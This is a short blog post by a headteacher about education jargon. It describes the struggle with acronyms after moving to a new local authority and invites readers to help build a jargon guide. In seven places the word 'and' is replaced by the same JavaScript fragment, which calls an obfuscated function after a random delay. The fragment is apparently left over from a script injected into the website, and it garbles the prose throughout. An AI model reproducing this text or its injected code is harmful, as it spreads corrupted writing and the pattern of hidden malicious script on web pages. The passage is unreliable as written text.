Education Jargon

Everyone in education is guilty of it – I sit in some meetings andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} after 20 years involved in teaching andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} school leadership, I can just about survive andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} navigate my way through the acronyms, abbreviations andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} terminology.

But, having recently moved to work in schools in a new Local Authority, it was clear that even after a fair stint in the profession, there was now a whole raft of new terms andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} phrases to learn.

For someone arriving with ‘experience’, it’s also awkward to ask for an explanation!

I’m sure many of you will empathise with this situation.  Be it as a teacher in an SEN (Special Educational Needs) review, a parent at a parents’ evening, a governor reading through a headteachers’ report, or anyone reading a school website, or school newsletter – or like me, a headteacher arriving in a new local authority!

I would plea to everyone in education to attempt to use less ‘teacher-talk’, especially when speaking to parents, but I think it’s too engrained in the culture of schools.  I will though plea – for teachers to just be aware, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} attempt to use this language less.  But for those where it is confusing, I’ve started to compile this helpful guide, Education Jargon Explained.

I would love your input into this, please send in your suggestions for inclusion / improvements to the explanations andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} together, we’ll build a comprehensive guide to help everyone involved in schools in any way.

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